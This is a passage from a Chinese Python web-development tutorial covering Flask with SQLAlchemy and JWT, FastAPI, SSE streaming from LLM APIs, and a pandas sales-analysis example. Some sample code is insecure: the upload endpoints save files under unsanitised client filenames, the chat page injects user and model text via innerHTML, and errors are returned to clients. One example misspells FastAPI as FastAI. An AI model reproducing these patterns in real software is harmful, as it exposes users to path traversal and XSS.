    SQLALCHEMY_DATABASE_URI = "sqlite:///dev.db"

class ProductionConfig(BaseConfig):
    """生产环境配置"""
    DEBUG = False
    SQLALCHEMY_DATABASE_URI = os.environ.get("DATABASE_URL")
# app/extensions.py —— 扩展实例(集中管理,避免循环导入)
from flask_sqlalchemy import SQLAlchemy
from flask_jwt_extended import JWTManager

db = SQLAlchemy()
jwt = JWTManager()

37.3 SQLAlchemy ORM——"用 Python 代码代替 SQL"

生活类比

SQL 就像你用外语和数据库"对话"。如果你外语不好(SQL 写错了),数据库就听不懂。ORM(对象关系映射)就像一个翻译官——你用 Python 代码说"给我找所有年龄大于 18 的用户",ORM 帮你翻译成 SQL 发给数据库。你不需要记住 SQL 语法,只需要会写 Python。

# app/models/user.py —— 用户模型
from datetime import datetime
from app.extensions import db

class User(db.Model):
    """用户模型"""
    __tablename__ = "users"

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False, index=True)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password_hash = db.Column(db.String(256), nullable=False)
    is_active = db.Column(db.Boolean, default=True)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)

    def to_dict(self):
        """序列化为字典(不暴露密码)"""
        return {
            "id": self.id,
            "username": self.username,
            "email": self.email,
            "is_active": self.is_active,
            "created_at": self.created_at.isoformat(),
        }

    def __repr__(self):
        return f"<User {self.username}>"
# app/api/users.py —— 用户路由(蓝图)
from flask import Blueprint, request
from flask_jwt_extended import jwt_required, get_jwt_identity
from app.extensions import db
from app.models.user import User
from app.utils.exceptions import AppError

users_bp = Blueprint("users", __name__)

@users_bp.route("/", methods=["GET"])
@jwt_required()  # 需要 JWT token 才能访问
def get_users():
    """获取用户列表(分页)"""
    page = request.args.get("page", 1, type=int)
    per_page = request.args.get("per_page", 20, type=int)

    pagination = User.query.paginate(page=page, per_page=per_page)
    return {
        "users": [u.to_dict() for u in pagination.items],
        "total": pagination.total,
        "page": page,
        "pages": pagination.pages,
    }

@users_bp.route("/<int:uid>", methods=["GET"])
@jwt_required()
def get_user(uid):
    """获取单个用户"""
    user = db.get_or_404(User, uid, description="用户不存在")
    return user.to_dict()

@users_bp.route("/<int:uid>", methods=["PUT"])
@jwt_required()
def update_user(uid):
    """更新用户信息"""
    user = db.get_or_404(User, uid, description="用户不存在")
    data = request.get_json()

    # 只允许更新特定字段
    allowed_fields = ["username", "email"]
    for field in allowed_fields:
        if field in data:
            setattr(user, field, data[field])

    db.session.commit()
    return user.to_dict()

@users_bp.route("/<int:uid>", methods=["DELETE"])
@jwt_required()
def delete_user(uid):
    """删除用户(软删除)"""
    user = db.get_or_404(User, uid, description="用户不存在")
    user.is_active = False  # 软删除:标记为不活跃
    db.session.commit()
    return {"message": "用户已删除"}, 200

37.4 JWT 用户鉴权——"门禁卡系统"

生活类比

JWT 就像一张门禁卡。你去前台(登录接口)出示身份证(用户名+密码),前台验证后给你一张门禁卡(JWT token)。之后你进出各个房间(访问 API),只需要刷门禁卡就行,不需要每次都出示身份证。门禁卡上有你的信息和有效期,过期了需要重新办理。

# app/api/auth.py —— 认证路由
from datetime import timedelta
from flask import Blueprint, request
from flask_jwt_extended import (
    create_access_token,
    create_refresh_token,
    jwt_required,
    get_jwt_identity,
)
from werkzeug.security import generate_password_hash, check_password_hash
from app.extensions import db
from app.models.user import User

auth_bp = Blueprint("auth", __name__)

@auth_bp.route("/register", methods=["POST"])
def register():
    """用户注册"""
    data = request.get_json()

    # 参数验证
    if not data or not data.get("username") or not data.get("password"):
        return {"error": "用户名和密码必填"}, 400
    if len(data["password"]) < 8:
        return {"error": "密码至少 8 位"}, 400

    # 检查用户名是否已存在
    if User.query.filter_by(username=data["username"]).first():
        return {"error": "用户名已存在"}, 409

    # 创建用户(密码必须哈希存储!)
    user = User(
        username=data["username"],
        email=data.get("email", ""),
        password_hash=generate_password_hash(data["password"]),
    )
    db.session.add(user)
    db.session.commit()

    return {"message": "注册成功", "user": user.to_dict()}, 201

@auth_bp.route("/login", methods=["POST"])
def login():
    """用户登录——获取 JWT token"""
    data = request.get_json()
    user = User.query.filter_by(username=data.get("username")).first()

    # 验证用户名和密码
    if not user or not check_password_hash(user.password_hash, data.get("password", "")):
        return {"error": "用户名或密码错误"}, 401

    # 生成 token(access_token 短期,refresh_token 长期)
    access_token = create_access_token(
        identity=user.id,
        expires_delta=timedelta(hours=1),
    )
    refresh_token = create_refresh_token(
        identity=user.id,
        expires_delta=timedelta(days=30),
    )

    return {
        "access_token": access_token,
        "refresh_token": refresh_token,
        "user": user.to_dict(),
    }
JWT 安全注意事项
  • access_token 有效期要短:建议 15 分钟到 1 小时,泄露后影响有限
  • refresh_token 要安全存储:存在 httpOnly cookie 中,不要放在 localStorage
  • 密码必须哈希:用 werkzeug.security 的 generate_password_hash,永远不要存明文密码
  • 敏感操作要二次验证:修改密码、删除账号等操作,即使有 JWT 也要验证密码

37.5 部署思路——"从开发到上线"

生活类比

开发环境就像你的厨房——随便弄,油烟大也没关系。生产环境就像餐厅的厨房——要干净、高效、能同时服务很多客人。Flask 自带的开发服务器只能处理一个请求,就像餐厅只有一个服务员。部署时需要用 Gunicorn(多个服务员)+ Nginx(前台接待)来处理高并发。

部署架构(生产环境): 用户请求 ↓ Nginx(反向代理 + 静态文件 + SSL) ↓ Gunicorn(WSGI 服务器,多个 worker 进程) ↓ Flask 应用 ↓ PostgreSQL / MySQL(数据库)
# wsgi.py —— WSGI 入口文件
from app import create_app

app = create_app("production")

# Gunicorn 启动命令:
# gunicorn wsgi:app -w 4 -b 0.0.0.0:8000
# -w 4: 启动 4 个 worker 进程
# -b: 绑定地址和端口
# requirements.txt —— 生产环境依赖
flask==3.0.0
flask-sqlalchemy==3.1.1
flask-jwt-extended==4.6.0
flask-migrate==4.0.5
gunicorn==21.2.0
python-dotenv==1.0.0
werkzeug==3.0.1
# Nginx 配置示例(/etc/nginx/sites-available/myapp)
# server {
#     listen 80;
#     server_name your-domain.com;
#
#     location / {
#         proxy_pass http://127.0.0.1:8000;
#         proxy_set_header Host $host;
#         proxy_set_header X-Real-IP $remote_addr;
#     }
#
#     location /static/ {
#         alias /path/to/myapp/static/;
#     }
# }
常见错误总结
  • 生产环境开 debug=True:debug 模式会暴露堆栈信息和调试器,非常危险,部署时务必关闭
  • SECRET_KEY 硬编码:密钥泄露等于裸奔,必须用环境变量管理
  • 密码存明文:数据库泄露后用户密码全部曝光,必须用 werkzeug.security 哈希存储
  • SQL 注入:永远不要用 f-string 拼接 SQL,用 ORM 或参数化查询
  • 不处理异常:未捕获的异常会返回 500 错误和堆栈信息,用全局错误处理统一返回格式
  • 用 Flask 自带服务器上线:Flask 自带的服务器只能处理一个请求,生产环境必须用 Gunicorn/uWSGI

第三十八章:FastAPI 实战——现代 Web API

本章导览

FastAPI 是目前 Python 生态中最快的 Web 框架之一,基于 Starlette 和 Pydantic,原生支持异步、自动文档生成和类型校验。如果你用过 Flask,会发现 FastAPI 的代码更简洁、性能更强、开发体验更好。本章从零开始教你用 FastAPI 构建专业的 REST API。

38.1 为什么选 FastAPI?

高性能
基于 Starlette,性能接近 Node.js 和 Go,比 Flask 快 2-3 倍
自动文档
自动生成 Swagger UI 和 ReDoc 文档,不用手写 API 文档
类型校验
基于 Pydantic,请求参数自动校验,减少 90% 的参数验证代码
原生异步
原生支持 async/await,轻松处理高并发
# 安装
# pip install fastapi uvicorn

# 最简单的 FastAPI 应用
from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"message": "Hello, FastAPI!"}

# 启动命令:uvicorn main:app --reload

38.2 路由与请求方法

from fastapi import FastAPI

app = FastAPI()

# GET 请求
@app.get("/users")
def get_users():
    return [{"id": 1, "name": "张三"}, {"id": 2, "name": "李四"}]

# GET 请求带路径参数
@app.get("/users/{user_id}")
def get_user(user_id: int):
    return {"id": user_id, "name": f"用户{user_id}"}

# POST 请求
@app.post("/users")
def create_user(name: str, age: int):
    return {"id": 3, "name": name, "age": age}

# PUT 请求
@app.put("/users/{user_id}")
def update_user(user_id: int, name: str, age: int):
    return {"id": user_id, "name": name, "age": age}

# DELETE 请求
@app.delete("/users/{user_id}")
def delete_user(user_id: int):
    return {"message": f"用户 {user_id} 已删除"}

38.3 请求体校验(Pydantic)

from fastapi import FastAPI
from pydantic import BaseModel, Field
from typing import Optional

app = FastAPI()

# 定义数据模型
class UserCreate(BaseModel):
    name: str = Field(..., min_length=2, max_length=50, description="用户名")
    age: int = Field(..., ge=0, le=150, description="年龄")
    email: str = Field(..., description="邮箱")
    phone: Optional[str] = Field(None, description="手机号(可选)")

class UserResponse(BaseModel):
    id: int
    name: str
    age: int
    email: str

@app.post("/users", response_model=UserResponse)
def create_user(user: UserCreate):
    # FastAPI 自动校验请求体,不符合要求会返回 422 错误
    return {"id": 1, **user.dict()}

# 测试:
# POST /users
# {"name": "张三", "age": 18, "email": "test@email.com"}
Pydantic 常用校验
字段类型校验方式示例
strmin_length, max_length, regexField(min_length=2)
intge, gt, le, ltField(ge=0, le=150)
floatge, gt, le, ltField(gt=0)
listmin_items, max_itemsField(min_items=1)
Optional可选字段,默认 NoneOptional[str] = None

38.4 查询参数与请求头

from fastapi import FastAPI, Query, Header, Cookie

app = FastAPI()

# 查询参数:/users?page=1&size=10&keyword=张
@app.get("/users")
def get_users(
    page: int = Query(1, ge=1, description="页码"),
    size: int = Query(10, ge=1, le=100, description="每页数量"),
    keyword: str = Query(None, description="搜索关键词")
):
    return {
        "page": page,
        "size": size,
        "keyword": keyword,
        "data": []
    }

# 请求头
@app.get("/headers")
def get_headers(user_agent: str = Header(None)):
    return {"user_agent": user_agent}

# Cookie
@app.get("/cookies")
def get_cookies(session_id: str = Cookie(None)):
    return {"session_id": session_id}

38.5 依赖注入

from fastapi import FastAPI, Depends, HTTPException

app = FastAPI()

# 模拟数据库
fake_users_db = {
    1: {"id": 1, "name": "张三", "is_active": True},
    2: {"id": 2, "name": "李四", "is_active": False},
}

# 依赖函数:获取用户
def get_user(user_id: int):
    user = fake_users_db.get(user_id)
    if not user:
        raise HTTPException(status_code=404, detail="用户不存在")
    return user

# 依赖函数:验证用户是否激活
def get_active_user(user: dict = Depends(get_user)):
    if not user["is_active"]:
        raise HTTPException(status_code=400, detail="用户未激活")
    return user

# 使用依赖
@app.get("/users/{user_id}")
def read_user(user: dict = Depends(get_active_user)):
    return user

# 依赖链:get_active_user 依赖 get_user
# 访问 /users/1 → get_user(1) → get_active_user(user) → 返回
# 访问 /users/2 → get_user(2) → get_active_user(user) → 400 错误

38.6 中间件与异常处理

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
import time

app = FastAPI()

# 中间件:请求计时
@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
    start_time = time.time()
    response = await call_next(request)
    process_time = time.time() - start_time
    response.headers["X-Process-Time"] = str(process_time)
    return response

# 全局异常处理
@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception):
    return JSONResponse(
        status_code=500,
        content={"message": "服务器内部错误", "detail": str(exc)}
    )

# 自定义异常
class BusinessError(Exception):
    def __init__(self, message: str):
        self.message = message

@app.exception_handler(BusinessError)
async def business_error_handler(request: Request, exc: BusinessError):
    return JSONResponse(
        status_code=400,
        content={"message": exc.message}
    )

@app.get("/test-error")
def test_error():
    raise BusinessError("余额不足")

38.7 完整实战:用户管理 API

from fastapi import FastAPI, HTTPException, Depends, Query
from pydantic import BaseModel, Field
from typing import Optional, List
from datetime import datetime

app = FastAPI(title="用户管理系统", version="1.0.0")

# 数据模型
class UserCreate(BaseModel):
    name: str = Field(..., min_length=2, max_length=50)
    age: int = Field(..., ge=0, le=150)
    email: str = Field(..., description="邮箱")

class UserUpdate(BaseModel):
    name: Optional[str] = Field(None, min_length=2, max_length=50)
    age: Optional[int] = Field(None, ge=0, le=150)
    email: Optional[str] = None

class UserResponse(BaseModel):
    id: int
    name: str
    age: int
    email: str
    created_at: str

# 模拟数据库
users_db = {}
next_id = 1

@app.post("/users", response_model=UserResponse, status_code=201)
def create_user(user: UserCreate):
    global next_id
    user_data = {
        "id": next_id,
        **user.dict(),
        "created_at": datetime.now().isoformat()
    }
    users_db[next_id] = user_data
    next_id += 1
    return user_data

@app.get("/users", response_model=List[UserResponse])
def list_users(
    page: int = Query(1, ge=1),
    size: int = Query(10, ge=1, le=100)
):
    start = (page - 1) * size
    end = start + size
    users = list(users_db.values())[start:end]
    return users

@app.get("/users/{user_id}", response_model=UserResponse)
def get_user(user_id: int):
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="用户不存在")
    return users_db[user_id]

@app.put("/users/{user_id}", response_model=UserResponse)
def update_user(user_id: int, user_update: UserUpdate):
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="用户不存在")

    user = users_db[user_id]
    update_data = user_update.dict(exclude_unset=True)
    user.update(update_data)
    return user

@app.delete("/users/{user_id}", status_code=204)
def delete_user(user_id: int):
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="用户不存在")
    del users_db[user_id]

# 启动:uvicorn main:app --reload
# 访问文档:http://127.0.0.1:8000/docs
FastAPI 最佳实践
  • 用 Pydantic 校验所有请求体:不要手动校验参数
  • 用依赖注入管理公共逻辑:数据库连接、权限验证等
  • 用 response_model 控制返回格式:避免泄露敏感字段
  • 用 HTTPException 返回错误:不要返回 200 + 错误信息
  • 生产环境用 gunicorn + uvicorn:gunicorn main:app -w 4 -k uvicorn.workers.UvicornWorker
常见错误总结
  • 忘记 --reload:开发时要加 --reload 参数自动重载
  • 路径参数顺序:/users/me 要放在 /users/{user_id} 前面
  • Pydantic 模型不继承 BaseModel:会导致类型校验失效
  • async def vs def:有 await 用 async def,没有用 def
  • 依赖注入死循环:A 依赖 B,B 又依赖 A

38.8 文件上传

from fastapi import FastAPI, File, UploadFile
import shutil
import os

app = FastAPI()

# 方式一:UploadFile(推荐,支持大文件)
@app.post("/upload")
async def upload_file(file: UploadFile):
    print(f"文件名:{file.filename}")
    print(f"文件类型:{file.content_type}")
    print(f"文件大小:{file.size} bytes")

    # 保存文件
    save_path = f"uploads/{file.filename}"
    with open(save_path, "wb") as buffer:
        shutil.copyfileobj(file.file, buffer)

    return {"filename": file.filename, "size": file.size}

# 方式二:多文件上传
@app.post("/upload-multiple")
async def upload_multiple(files: list[UploadFile]):
    results = []
    for file in files:
        save_path = f"uploads/{file.filename}"
        with open(save_path, "wb") as buffer:
            shutil.copyfileobj(file.file, buffer)
        results.append({"filename": file.filename, "size": file.size})
    return {"uploaded": len(results), "files": results}

# 方式三:限制文件类型和大小
from fastapi import HTTPException

@app.post("/upload-image")
async def upload_image(file: UploadFile = File(...)):
    # 检查文件类型
    allowed_types = ["image/jpeg", "image/png", "image/gif"]
    if file.content_type not in allowed_types:
        raise HTTPException(400, f"不支持的文件类型:{file.content_type}")

    # 检查文件大小(限制 5MB)
    contents = await file.read()
    if len(contents) > 5 * 1024 * 1024:
        raise HTTPException(400, "文件不能超过 5MB")

    save_path = f"uploads/{file.filename}"
    with open(save_path, "wb") as f:
        f.write(contents)

    return {"filename": file.filename, "size": len(contents)}

38.9 后台任务(BackgroundTasks)

有些操作不需要让用户等待——比如发送邮件、写日志、清理缓存。用 BackgroundTasks 让它们在后台执行:

from fastapi import FastAPI, BackgroundTasks
import time

app = FastAPI()

def send_email(to: str, subject: str):
    """后台任务:发送邮件(耗时操作)"""
    time.sleep(3)  # 模拟发送
    print(f"邮件已发送:{to} - {subject}")

def log_action(user_id: int, action: str):
    """后台任务:记录日志"""
    with open("action.log", "a") as f:
        f.write(f"{time.time()}: user {user_id} did {action}\n")

@app.post("/register")
def register(email: str, background_tasks: BackgroundTasks):
    # 1. 立即返回响应(用户不用等邮件发完)
    # 2. 邮件在后台发送
    background_tasks.add_task(send_email, email, "欢迎注册!")
    background_tasks.add_task(log_action, 1, "register")

    return {"message": "注册成功,确认邮件稍后发送"}

@app.post("/orders")
def create_order(order_id: int, background_tasks: BackgroundTasks):
    # 主逻辑:保存订单
    # ...

    # 后台:发通知、写日志、更新统计
    background_tasks.add_task(send_email, "admin@example.com", f"新订单 {order_id}")
    background_tasks.add_task(log_action, 1, f"create_order_{order_id}")

    return {"order_id": order_id}
BackgroundTasks 注意事项
  • 后台任务在响应发送后执行,用户不会等待
  • 如果后台任务失败,不会影响已发送的响应
  • 适合轻量级任务(发邮件、写日志)。重任务用 Celery 等任务队列
  • 后台任务和主请求共享同一个进程,不要做阻塞操作

38.10 lifespan 事件(替代 on_event)

from contextlib import asynccontextmanager
from fastapi import FastAPI

# 旧写法(已废弃):
# @app.on_event("startup")
# async def startup(): ...

# 新写法:lifespan(Python 3.7+ / FastAPI 0.103+)
@asynccontextmanager
async def lifespan(app: FastAPI):
    # 启动时执行
    print("应用启动:初始化数据库连接、缓存等")
    # db = await create_db_connection()

    yield  # 应用运行期间

    # 关闭时执行
    print("应用关闭:清理资源")
    # await db.close()

app = FastAPI(lifespan=lifespan)

@app.get("/")
def root():
    return {"message": "Hello"}

第三十九章:流式输出(SSE)与大模型对接

本章导览

你用 ChatGPT 时,文字是一个一个蹦出来的,而不是等全部生成完才显示——这就是流式输出。本章教你用 FastAPI 实现 SSE(Server-Sent Events)流式响应,以及如何对接大模型 API 实现实时流式输出。这是开发 AI 应用的核心技能。

39.1 什么是流式输出?

生活类比

非流式:你去餐厅,厨师做完所有菜才端出来——等很久,但一次上齐。
流式:厨师做好一道端一道——不用等太久,边吃边上。

SSE
Server-Sent Events——服务器单向推送数据给客户端,基于 HTTP 协议
WebSocket
双向通信,适合聊天室、游戏等需要实时交互的场景
流式 HTTP
分块传输(Transfer-Encoding: chunked),边生成边发送

39.2 FastAPI 实现 SSE

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
import time

app = FastAPI()

# 模拟流式数据生成器
async def event_generator():
    for i in range(10):
        # 模拟处理延迟
        await asyncio.sleep(0.5)
        # SSE 格式:data: 内容\n\n
        yield f"data: 消息 {i+1} - {time.strftime('%H:%M:%S')}\n\n"
    yield "data: [DONE]\n\n"

@app.get("/stream")
async def stream():
    return StreamingResponse(
        event_generator(),
        media_type="text/event-stream",
        headers={
            "Cache-Control": "no-cache",
            "Connection": "keep-alive",
            "X-Accel-Buffering": "no"  # 禁用 Nginx 缓冲
        }
    )

# 启动:uvicorn main:app --reload
# 测试:curl http://127.0.0.1:8000/stream

39.3 SSE 消息格式

# SSE 消息格式规范
# 每条消息以 \n\n 结尾,字段以 \n 分隔

# 基本格式
data: 这是消息内容\n\n

# 带事件类型
event: message\ndata: 这是消息内容\n\n

# 带 ID(用于断线重连)
id: 1\ndata: 这是消息内容\n\n

# 带重试时间(毫秒)
retry: 5000\ndata: 这是消息内容\n\n

# 多行数据
data: 第一行\n
data: 第二行\n
data: 第三行\n\n
# 客户端收到:第一行\n第二行\n第三行

39.4 对接 OpenAI API 流式输出

import openai
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from pydantic import BaseModel
from typing import List

app = FastAI()

# 配置 OpenAI
client = openai.OpenAI(api_key="your-api-key")

class ChatRequest(BaseModel):
    message: str
    history: List[dict] = []

async def generate_stream(message: str, history: List[dict]):
    """流式生成大模型回复"""
    messages = history + [{"role": "user", "content": message}]

    # 调用 OpenAI 流式 API
    stream = client.chat.completions.create(
        model="gpt-3.5-turbo",
        messages=messages,
        stream=True  # 开启流式输出
    )

    # 逐块输出
    for chunk in stream:
        if chunk.choices[0].delta.content is not None:
            content = chunk.choices[0].delta.content
            yield f"data: {content}\n\n"

    yield "data: [DONE]\n\n"

@app.post("/chat/stream")
async def chat_stream(request: ChatRequest):
    return StreamingResponse(
        generate_stream(request.message, request.history),
        media_type="text/event-stream"
    )

39.5 对接国产大模型(通义千问 / 文心一言)

import httpx
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from pydantic import BaseModel

app = FastAPI()

class ChatRequest(BaseModel):
    message: str
    model: str = "qwen-turbo"

# 通义千问 API
async def call_qwen_stream(message: str):
    """流式调用通义千问"""
    url = "https://dashscope.aliyuncs.com/api/v1/services/aigc/text-generation/generation"
    headers = {
        "Authorization": "Bearer your-api-key",
        "Content-Type": "application/json"
    }
    data = {
        "model": "qwen-turbo",
        "input": {"messages": [{"role": "user", "content": message}]},
        "parameters": {"incremental_output": True}  # 开启流式
    }

    async with httpx.AsyncClient() as client:
        async with client.stream("POST", url, json=data, headers=headers, timeout=60) as response:
            async for line in response.aiter_lines():
                if line.startswith("data:"):
                    yield f"{line}\n\n"

@app.post("/chat/qwen")
async def chat_qwen(request: ChatRequest):
    return StreamingResponse(
        call_qwen_stream(request.message),
        media_type="text/event-stream"
    )

39.6 前端接收 SSE

<!DOCTYPE html>
<html>
<head>
    <title>SSE 流式输出示例</title>
    <style>
        body { font-family: sans-serif; max-width: 800px; margin: 50px auto; }
        #output { background: #f5f5f5; padding: 20px; min-height: 200px; white-space: pre-wrap; }
        button { padding: 10px 20px; font-size: 16px; cursor: pointer; }
    </style>
</head>
<body>
    <h1>SSE 流式输出演示</h1>
    <button onclick="startStream()">开始流式请求</button>
    <div id="output"></div>

    <script>
    function startStream() {
        const output = document.getElementById('output');
        output.textContent = '';

        const eventSource = new EventSource('/stream');

        eventSource.onmessage = function(event) {
            if (event.data === '[DONE]') {
                eventSource.close();
                output.textContent += '\n\n--- 传输完成 ---';
                return;
            }
            output.textContent += event.data;
        };

        eventSource.onerror = function(event) {
            eventSource.close();
            output.textContent += '\n\n--- 连接错误 ---';
        };
    }
    </script>
</body>
</html>

39.7 完整实战:大模型聊天 API

from fastapi import FastAPI, HTTPException
from fastapi.responses import StreamingResponse, HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
from typing import List, Optional
import openai
import json

app = FastAPI(title="AI 聊天助手")

# 配置
client = openai.OpenAI(
    api_key="your-api-key",
    base_url="https://api.openai.com/v1"  # 或国产大模型地址
)

class Message(BaseModel):
    role: str  # "user" 或 "assistant"
    content: str

class ChatRequest(BaseModel):
    message: str
    history: List[Message] = []
    model: str = "gpt-3.5-turbo"
    temperature: float = 0.7

async def stream_chat(request: ChatRequest):
    """流式聊天生成器"""
    messages = [{"role": m.role, "content": m.content} for m in request.history]
    messages.append({"role": "user", "content": request.message})

    try:
        stream = client.chat.completions.create(
            model=request.model,
            messages=messages,
            temperature=request.temperature,
            stream=True
        )

        full_response = ""
        for chunk in stream:
            if chunk.choices[0].delta.content:
                content = chunk.choices[0].delta.content
                full_response += content
                yield f"data: {json.dumps({'content': content}, ensure_ascii=False)}\n\n"

        yield f"data: {json.dumps({'done': True, 'full_response': full_response}, ensure_ascii=False)}\n\n"

    except Exception as e:
        yield f"data: {json.dumps({'error': str(e)}, ensure_ascii=False)}\n\n"

@app.post("/api/chat")
async def chat(request: ChatRequest):
    return StreamingResponse(
        stream_chat(request),
        media_type="text/event-stream"
    )

@app.get("/")
async def index():
    html_content = """
    <!DOCTYPE html>
    <html>
    <head><title>AI 聊天</title></head>
    <body>
        <div id="chat"></div>
        <input id="input" placeholder="输入消息...">
        <button onclick="send()">发送</button>
        <script>
        async function send() {
            const input = document.getElementById('input');
            const chat = document.getElementById('chat');
            const message = input.value;
            input.value = '';

            chat.innerHTML += '<p><b>我:</b> ' + message + '</p>';

            const response = await fetch('/api/chat', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({message: message})
            });

            const reader = response.body.getReader();
            const decoder = new TextDecoder();
            let aiMessage = '';

            while (true) {
                const {done, value} = await reader.read();
                if (done) break;

                const text = decoder.decode(value);
                const lines = text.split('\\n');

                for (const line of lines) {
                    if (line.startsWith('data: ')) {
                        const data = JSON.parse(line.slice(6));
                        if (data.content) {
                            aiMessage += data.content;
                            chat.innerHTML = chat.innerHTML.replace(/<p id="ai">.*?<\/p>/, '') +
                                '<p id="ai"><b>AI:</b> ' + aiMessage + '</p>';
                        }
                    }
                }
            }
        }
        </script>
    </body>
    </html>
    """
    return HTMLResponse(content=html_content)
SSE 最佳实践
  • 设置正确的响应头:media_type="text/event-stream",禁用缓冲
  • 处理客户端断开:用 try/except 捕获 ConnectionResetError
  • 设置超时:大模型生成可能很慢,设置合理的超时时间
  • 错误处理:生成器中用 try/except,错误时发送错误消息
  • Nginx 配置:添加 X-Accel-Buffering: no 禁用缓冲
常见错误总结
  • 忘记 media_type:必须设置为 text/event-stream
  • Nginx 缓冲:默认会缓冲响应,需要配置 proxy_buffering off
  • 客户端未关闭连接:收到 [DONE] 后要调用 eventSource.close()
  • 异步生成器语法错误:用 async def + yield,不是普通函数
  • JSON 编码中文:用 ensure_ascii=False 保留中文

第四十章:项目实战——数据分析

本章导览

数据分析是 Python 最热门的应用领域之一。本章不会只讲 API 用法,而是带你走完一个完整的数据分析闭环:数据读取 → 缺失值/异常值清洗 → 分组聚合 → 业务指标可视化。就像厨师做菜:先洗菜切菜(清洗),再炒菜(处理),最后摆盘上桌(可视化)。

40.1 NumPy 基础——"数值计算的发动机"

生活类比

Python 的列表就像一排排的计算器——每个数字单独计算。NumPy 就像一台超级计算机——一整排数字可以同时计算。做同样的运算,NumPy 比纯 Python 快 10-100 倍。

import numpy as np

# ===== 数组创建 =====
a = np.array([1, 2, 3, 4, 5])       # 从列表创建
b = np.zeros((3, 4))                  # 3x4 全零矩阵
c = np.ones((2, 3))                   # 2x3 全一矩阵
d = np.arange(0, 10, 2)              # [0, 2, 4, 6, 8]
e = np.linspace(0, 1, 5)             # [0, 0.25, 0.5, 0.75, 1.0]

# ===== 向量化运算(比纯 Python 快 100 倍)=====
a = np.array([1, 2, 3])
print(a * 2)         # [2, 4, 6]        ← 整个数组同时乘以 2
print(a ** 2)        # [1, 4, 9]        ← 整个数组同时平方
print(np.sqrt(a))    # [1.0, 1.414, 1.732]  ← 整个数组同时开方

# ===== 性能对比 =====
import time

# 纯 Python
start = time.time()
result = [i ** 2 for i in range(1_000_000)]
print(f"纯 Python:{time.time() - start:.3f}秒")  # 约 0.15 秒

# NumPy
start = time.time()
result = np.arange(1_000_000) ** 2
print(f"NumPy:{time.time() - start:.3f}秒")      # 约 0.002 秒(快 75 倍!)

# ===== 统计函数 =====
data = np.array([85, 90, 78, 92, 88])
print(f"平均:{data.mean()}")     # 86.6
print(f"标准差:{data.std()}")    # 5.02
print(f"最大:{data.max()}")      # 92
print(f"中位数:{np.median(data)}")  # 88

40.2 完整案例:电商销售数据分析

生活类比

数据分析就像侦探破案:先收集线索(读取数据),再排除干扰信息(清洗数据),然后寻找规律(分析聚合),最后画出嫌疑人画像(可视化)。我们用一个电商销售数据集走完这个流程。

步骤 1:生成模拟数据

import pandas as pd
import numpy as np
from datetime import datetime, timedelta

# 生成模拟电商数据(实际项目中用 pd.read_csv("data.csv") 读取)
np.random.seed(42)
n = 1000

dates = [datetime(2024, 1, 1) + timedelta(days=np.random.randint(0, 365)) for _ in range(n)]
products = np.random.choice(["手机", "笔记本", "耳机", "平板", "手表"], n)
prices = {"手机": 3999, "笔记本": 5999, "耳机": 299, "平板": 2999, "手表": 1599}
quantities = np.random.randint(1, 5, n)
cities = np.random.choice(["北京", "上海", "广州", "深圳", "杭州"], n)

df = pd.DataFrame({
    "日期": dates,
    "商品": products,
    "单价": [prices[p] for p in products],
    "数量": quantities,
    "城市": cities,
    "销售额": [prices[p] * q for p, q in zip(products, quantities)],
})

# 故意插入一些脏数据(模拟真实场景)
df.loc[10, "数量"] = np.nan       # 缺失值
df.loc[20, "销售额"] = -500       # 异常值(负数)
df.loc[30, "商品"] = None         # 缺失值
df.loc[40, "单价"] = 0            # 异常值(零价格)

print(f"数据形状:{df.shape}")
print(df.head(10))

步骤 2:数据清洗——"洗菜"阶段

# ===== 2.1 查看数据概况 =====
print(df.info())              # 数据类型、非空数量
print(df.describe())          # 统计摘要(均值、标准差、最大最小值)
print(df.isnull().sum())      # 每列缺失值数量

# ===== 2.2 处理缺失值 =====
# 删除关键字段缺失的行(商品名不能为空)
df = df.dropna(subset=["商品"])

# 数量缺失的用中位数填充
df["数量"] = df["数量"].fillna(df["数量"].median())

# ===== 2.3 处理异常值 =====
# 销售额不能为负数
df = df[df["销售额"] > 0]

# 单价不能为 0
df = df[df["单价"] > 0]

# ===== 2.4 数据类型转换 =====
df["日期"] = pd.to_datetime(df["日期"])
df["数量"] = df["数量"].astype(int)
df["月份"] = df["日期"].dt.month  # 提取月份(后续分析用)

print(f"\n清洗后数据:{df.shape[0]} 行(原始 {n} 行)")
print(df.head())

步骤 3:分组聚合——"寻找规律"

# ===== 3.1 按商品统计 =====
product_stats = df.groupby("商品").agg(
    总销售额=("销售额", "sum"),
    平均单价=("单价", "mean"),
    销售数量=("数量", "sum"),
    订单数=("销售额", "count"),
).sort_values("总销售额", ascending=False)

print("===== 商品销售排行 =====")
print(product_stats)
#          总销售额   平均单价  销售数量  订单数
# 商品
# 笔记本    xxxxx    5999     xxx     xxx
# 手机      xxxxx    3999     xxx     xxx
# ...

# ===== 3.2 按城市统计 =====
city_stats = df.groupby("城市")["销售额"].agg(["sum", "mean", "count"])
city_stats.columns = ["总销售额", "平均客单价", "订单数"]
print("\n===== 城市销售对比 =====")
print(city_stats.sort_values("总销售额", ascending=False))

# ===== 3.3 按月统计趋势 =====
monthly = df.groupby("月份")["销售额"].sum()
print("\n===== 月度销售趋势 =====")
print(monthly)

步骤 4:数据可视化——"摆盘上桌"

import matplotlib.pyplot as plt

# 解决中文乱码问题
plt.rcParams["font.sans-serif"] = ["SimHei", "Microsoft YaHei"]
plt.rcParams["axes.unicode_minus"] = False  # 解决负号显示问题

fig, axes = plt.subplots(2, 2, figsize=(14, 10))

# ===== 图 1:商品销售额柱状图 =====
product_stats["总销售额"].plot(kind="bar", ax=axes[0, 0], color="#2563eb")
